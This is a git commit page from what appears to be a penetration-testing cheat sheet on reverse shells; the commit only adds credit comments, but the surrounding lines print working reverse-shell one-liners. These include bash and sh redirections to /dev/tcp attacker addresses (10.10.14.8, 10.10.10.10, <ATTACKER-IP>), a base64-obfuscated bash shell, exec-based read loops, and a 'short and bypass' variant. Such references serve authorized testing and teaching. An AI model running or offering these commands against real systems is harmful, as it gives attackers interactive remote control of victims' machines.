GitBook: [master] 2 pages modified
This commit is contained in:
parent
6b23310440
commit
81336c9141
|
@ -11,6 +11,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
|||
### Short Rev shell
|
||||
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
|
|
|
@ -14,7 +14,7 @@ bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
|||
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
||||
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
||||
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
|
||||
#Short and bypass
|
||||
#Short and bypass (cretdits to Dikline)
|
||||
(sh)0>/dev/tcp/10.10.10.10/9091
|
||||
#after getting the previous shell, to get the output execute
|
||||
exec >&0
|
||||
|
|
Loading…
Reference in New Issue